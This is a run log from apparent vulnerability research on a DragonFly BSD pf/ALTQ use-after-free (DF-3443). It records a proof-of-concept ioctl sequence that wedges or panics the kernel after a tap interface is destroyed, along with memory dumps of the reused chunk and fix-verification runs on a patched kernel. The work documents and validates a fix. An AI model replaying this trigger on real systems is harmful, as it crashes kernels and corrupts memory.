DF-3443 / run.log
[run.log — decisive trigger runs on the stock (unpatched) INVARIANTS kernel;
guest DragonFly 6.5-DEVELOPMENT #0 X86_64_GENERIC, pf.ko rebuilt with ALTQ]
=== RUN "wedge" (full trigger; output recovered before the session locked up) ===
[+] DIOCXBEGIN(PF_RULESET_ALTQ) ok, ticket=6
[+] DIOCADDALTQ(interface-spec) ok: pif_ifq captured
[+] pif=0xfffff801176bc920 pif_ifq=0xfffff80118812250 ifnet=0xfffff80118812080 altq_subq=0xfffff8008f8af800
subq (live): fffff8008f8af800: 0000000000000000 fffffffffffffffe 0000000000000000 fffff80118812250 fffff80118812080 0000000000000000 0000000000000000 0000000000000000
[+] SIOCIFDESTROY(tap0) ok: ifnet+altq_subq freed
[*] DIOCADDALTQ(queue-spec): priq_add_queue -> PRIQ_LOCK on freed ifq ...
[session observed stuck; probe from a second shell:]
# ps ax -o pid,stat,wchan,command | grep df3443
1211 D0 aslize ./df3443_poc tap0
[D0 + wchan 'aslize' = lwkt_serialize_adaptive_enter blocked path ->
PRIQ_LOCK sleeping on the serializer in freed memory, holding pf_token.
Guest then fully locked up: ssh banner timeout, vm.sh status down.
serial_wedge_run.log holds the console trail; the final "Fatal trap 9"
in that log is the fw3443 inspector poking an address on the already-
wedged box (measurement artifact, not the finding).]
=== RUN "photo" (full trigger, silent variant; freed-chunk A/B photography) ===
[+] DIOCXBEGIN(PF_RULESET_ALTQ) ok, ticket=1
[+] DIOCADDALTQ(interface-spec) ok: pif_ifq captured
[+] pif=0xfffff801176bc920 pif_ifq=0xfffff80118812250 ifnet=0xfffff80118812080 altq_subq=0xfffff8008f8af800
subq (live): fffff8008f8af800: 0000000000000000 fffffffffffffffe 0000000000000000 fffff80118812250 fffff80118812080 0 0 0 0
[+] SIOCIFDESTROY(tap0) ok: ifnet+altq_subq freed
[*] kernel-visible *(pif_ifq->altq_subq) = 0xfffff8008f8af800 (original array)
subq_now (A): fffff8008f8af800: fffff8008f8afc00 fffffffffffffffe 0000000000000000 fffff80118812250 fffff80118812080 0 0 0
^ slab freelist link (c_Next) in word0 of the freed chunk
[!] DIOCADDALTQ(queue-spec) RETURNED (lock entered+released on freed memory)
subq_now (B): fffff8008f8af800: fffff8008f8afc00 fffffffffffffffe 0000000030706174 0000000000000000 fffff801176bc920 0000000000000000 fffff80117646f78 0000000000000005
^ words 2..7 CHANGED: the chunk was re-allocated/reused
("tap" string + pif pointer inside) during the ioctl
window in which PRIQ_LOCK operated on it
[*] churning 48 tap create/destroy cycles (same zone)
[*] pf ioctls still responsive, trying DIOCGETALTQS
[+] DIOCGETALTQS ok (pf not wedged, nr=0)
RC=0
=== RUN "panic" (first trigger, PoC v2, no inspector) ===
[+ ... same setup ...]
[+] SIOCIFDESTROY(tap0) ok
[*] DIOCADDALTQ(queue-spec) issued
[~1 min later, serial console:]
panic: assertion "(((intptr_t)chunk ^ (intptr_t)z) & ZoneMask) == 0" failed
in chunk_mark_free at /usr/src/sys/kern/kern_slaballoc.c:1675
(see panic.txt / serial_wedge_run.log)
=== CONTROL RUN (--nodestroy, live tap0) ===
[+] DIOCXBEGIN ok / [+] interface-spec ok / [.] keeping tap0 alive
[!] DIOCADDALTQ(queue-spec) RETURNED (normal, live serializer)
[+] DIOCGETALTQS ok -- no panic, no wedge
=== FIX RUNS (patched kernel #1 Sat Sep 12 20:32:25, fix.diff applied) ===
trigger: df3443_poc: DIOCADDALTQ(queue-spec): Operation not supported by device <- clean ENODEV
subq_now (A) == (B) byte-identical; freelist link 0xfffff8008d3ce100 UNTOUCHED
churn + DIOCGETALTQS ok; guest healthy
control: DIOCADDALTQ(queue-spec) RETURNED (no regression on the live path)